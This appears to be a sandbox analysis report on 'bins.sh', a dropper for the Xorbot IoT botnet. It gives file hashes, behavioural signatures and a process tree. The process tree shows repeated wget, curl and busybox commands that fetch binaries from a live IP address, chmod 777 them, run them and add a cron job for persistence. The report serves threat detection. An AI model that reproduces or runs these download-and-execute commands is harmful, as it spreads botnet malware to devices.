Analysis

  • max time kernel
    150s
  • max time network
    156s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    11/12/2024, 13:31

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    36919a182f443f4206a37203f13e5293

  • SHA1

    b572eec4875252ec165d92efa9c9b40355b1812c

  • SHA256

    aecb960f575b667757b6f5d9f6a660c1ed71478bc83f32f4b53fe8c9ffd8ade2

  • SHA512

    f4d9911ed7932fabcf0bef861bb72309ff52deddc97da5aff96dc45773bf9c01f9e5cf3ccf1bd73f3cdd1dd9e08942b28d03090af8713b3df29fe65ed42ec21f

  • SSDEEP

    192:TDuJqwwpI/00tsJWqLLefXU4nj747v+H11w9ZH00tsfLLYHU4Nj747vo11w9Z9yF:TDhWqLLefnVLLYWa

Malware Config

Signatures

  • Detects Xorbot 5 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (1385) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 6 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 16 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:704
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:711
        • /usr/bin/wget
          wget http://37.44.238.68/bins/xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
          2⤵
          • Writes file to tmp directory
          PID:713
        • /usr/bin/curl
          curl -O http://37.44.238.68/bins/xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
          2⤵
          • Writes file to tmp directory
          PID:720
        • /bin/busybox
          /bin/busybox wget http://37.44.238.68/bins/xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
          2⤵
          • Writes file to tmp directory
          PID:733
        • /bin/chmod
          chmod 777 xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
          2⤵
          • File and Directory Permissions Modification
          PID:735
        • /tmp/xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
          ./xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
          2⤵
          • Executes dropped EXE
          PID:736
        • /bin/rm
          rm xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
          2⤵
            PID:738
          • /usr/bin/wget
            wget http://37.44.238.68/bins/vFSgJc63FgaGZNXmpSeAGkVjUM1oHRW11N
            2⤵
            • Writes file to tmp directory
            PID:739
          • /usr/bin/curl
            curl -O http://37.44.238.68/bins/vFSgJc63FgaGZNXmpSeAGkVjUM1oHRW11N
            2⤵
            • Writes file to tmp directory
            PID:741
          • /bin/busybox
            /bin/busybox wget http://37.44.238.68/bins/vFSgJc63FgaGZNXmpSeAGkVjUM1oHRW11N
            2⤵
            • Writes file to tmp directory
            PID:742
          • /bin/chmod
            chmod 777 vFSgJc63FgaGZNXmpSeAGkVjUM1oHRW11N
            2⤵
            • File and Directory Permissions Modification
            PID:744
          • /tmp/vFSgJc63FgaGZNXmpSeAGkVjUM1oHRW11N
            ./vFSgJc63FgaGZNXmpSeAGkVjUM1oHRW11N
            2⤵
            • Executes dropped EXE
            PID:746
          • /bin/rm
            rm vFSgJc63FgaGZNXmpSeAGkVjUM1oHRW11N
            2⤵
              PID:748
            • /usr/bin/wget
              wget http://37.44.238.68/bins/9Qo5P2seQeVtK8clckeaGppjpDstiV1egM
              2⤵
              • Writes file to tmp directory
              PID:749
            • /usr/bin/curl
              curl -O http://37.44.238.68/bins/9Qo5P2seQeVtK8clckeaGppjpDstiV1egM
              2⤵
              • Writes file to tmp directory
              PID:760
            • /bin/busybox
              /bin/busybox wget http://37.44.238.68/bins/9Qo5P2seQeVtK8clckeaGppjpDstiV1egM
              2⤵
              • Writes file to tmp directory
              PID:769
            • /bin/chmod
              chmod 777 9Qo5P2seQeVtK8clckeaGppjpDstiV1egM
              2⤵
              • File and Directory Permissions Modification
              PID:772
            • /tmp/9Qo5P2seQeVtK8clckeaGppjpDstiV1egM
              ./9Qo5P2seQeVtK8clckeaGppjpDstiV1egM
              2⤵
              • Executes dropped EXE
              PID:773
            • /bin/rm
              rm 9Qo5P2seQeVtK8clckeaGppjpDstiV1egM
              2⤵
                PID:776
              • /usr/bin/wget
                wget http://37.44.238.68/bins/qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
                2⤵
                • Writes file to tmp directory
                PID:777
              • /usr/bin/curl
                curl -O http://37.44.238.68/bins/qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
                2⤵
                • Writes file to tmp directory
                PID:784
              • /bin/busybox
                /bin/busybox wget http://37.44.238.68/bins/qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
                2⤵
                • Writes file to tmp directory
                PID:793
              • /bin/chmod
                chmod 777 qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
                2⤵
                • File and Directory Permissions Modification
                PID:798
              • /tmp/qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
                ./qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
                2⤵
                • Executes dropped EXE
                PID:799
              • /bin/rm
                rm qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
                2⤵
                  PID:803
                • /usr/bin/wget
                  wget http://37.44.238.68/bins/iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem
                  2⤵
                  • Writes file to tmp directory
                  PID:804
                • /usr/bin/curl
                  curl -O http://37.44.238.68/bins/iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem
                  2⤵
                  • Writes file to tmp directory
                  PID:809
                • /bin/busybox
                  /bin/busybox wget http://37.44.238.68/bins/iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem
                  2⤵
                  • Writes file to tmp directory
                  PID:811
                • /bin/chmod
                  chmod 777 iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem
                  2⤵
                  • File and Directory Permissions Modification
                  PID:812
                • /tmp/iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem
                  ./iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem
                  2⤵
                  • Executes dropped EXE
                  • Renames itself
                  • Reads runtime system information
                  PID:813
                  • /bin/sh
                    sh -c "crontab -l"
                    3⤵
                      PID:815
                      • /usr/bin/crontab
                        crontab -l
                        4⤵
                        • Reads runtime system information
                        PID:816
                    • /bin/sh
                      sh -c "crontab -"
                      3⤵
                        PID:817
                        • /usr/bin/crontab
                          crontab -
                          4⤵
                          • Creates/modifies Cron job
                          PID:818
                    • /bin/rm
                      rm iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem
                      2⤵
                        PID:820
                      • /usr/bin/wget
                        wget http://37.44.238.68/bins/crKm0VGNl5ReYKdLFb5lRRufXOR05xBwUW
                        2⤵
                          PID:889
                        • /usr/bin/curl
                          curl -O http://37.44.238.68/bins/crKm0VGNl5ReYKdLFb5lRRufXOR05xBwUW
                          2⤵
                            PID:904
                          • /bin/busybox
                            /bin/busybox wget http://37.44.238.68/bins/crKm0VGNl5ReYKdLFb5lRRufXOR05xBwUW
                            2⤵
                            • Writes file to tmp directory
                            PID:905
                          • /bin/chmod
                            chmod 777 crKm0VGNl5ReYKdLFb5lRRufXOR05xBwUW
                            2⤵
                            • File and Directory Permissions Modification
                            PID:906
                          • /tmp/crKm0VGNl5ReYKdLFb5lRRufXOR05xBwUW
                            ./crKm0VGNl5ReYKdLFb5lRRufXOR05xBwUW
                            2⤵
                            • Executes dropped EXE
                            PID:907
                          • /bin/rm
                            rm crKm0VGNl5ReYKdLFb5lRRufXOR05xBwUW
                            2⤵
                              PID:908
                            • /usr/bin/wget
                              wget http://37.44.238.68/bins/l2f4RZG1hDJfIuKQRVcNTVmTpJrCJY0lJC
                              2⤵
                                PID:909
                              • /usr/bin/curl
                                curl -O http://37.44.238.68/bins/l2f4RZG1hDJfIuKQRVcNTVmTpJrCJY0lJC
                                2⤵
                                  PID:910

                              Network

                              MITRE ATT&CK Enterprise v15

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              • /tmp/9Qo5P2seQeVtK8clckeaGppjpDstiV1egM

                                Filesize

                                117KB

                                MD5

                                849fa04ef88a8e8de32cb2e8538de5fe

                                SHA1

                                c768af29fe4b6695fff1541623e8bbd1c6f242f7

                                SHA256

                                8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                                SHA512

                                2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                              • /tmp/crKm0VGNl5ReYKdLFb5lRRufXOR05xBwUW

                                Filesize

                                111KB

                                MD5

                                701e7a55a4f3650f5feee92a9860e5fc

                                SHA1

                                6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                SHA256

                                ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                SHA512

                                7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                              • /tmp/iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem

                                Filesize

                                151KB

                                MD5

                                3c90d5820bddcf7c5d1bd21dfa49d958

                                SHA1

                                5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                SHA256

                                bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                SHA512

                                54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                              • /tmp/qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx

                                Filesize

                                112KB

                                MD5

                                05d7857dcead18bbd86d2935f591873c

                                SHA1

                                34d18f41ef35f93d5364ce3e24d74730a4e91985

                                SHA256

                                2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                SHA512

                                d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                              • /tmp/vFSgJc63FgaGZNXmpSeAGkVjUM1oHRW11N

                                Filesize

                                111KB

                                MD5

                                ca897a38f23ec23521ce0b1b83f8422d

                                SHA1

                                b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                                SHA256

                                043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                                SHA512

                                10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                              • /tmp/xQELCBMc3oaBzeqxQzdopUkVJt075oOm83

                                Filesize

                                127KB

                                MD5

                                89077b7bd4bcafca7713be43635c4862

                                SHA1

                                fc02edb8fba29ea8ee99e6157ef8560334530052

                                SHA256

                                78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                SHA512

                                1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                              • /var/spool/cron/crontabs/tmp.STFG3T

                                Filesize

                                210B

                                MD5

                                313e9946bc198c9323f6421a1771114e

                                SHA1

                                b70944f21ee5a5120c8146736db9e7daea55048c

                                SHA256

                                764a7e0c5fb9a4e5adff18749e283f2cf6108f83ad81f68d78e69b32beb27966

                                SHA512

                                7aa67d068164994b6597d3059f855d83a748cc04efad24f73862d12faf9fc1a470ced29910c164731eb2cf8125f09e03579e789f543f3e3efeb768f3065d90d8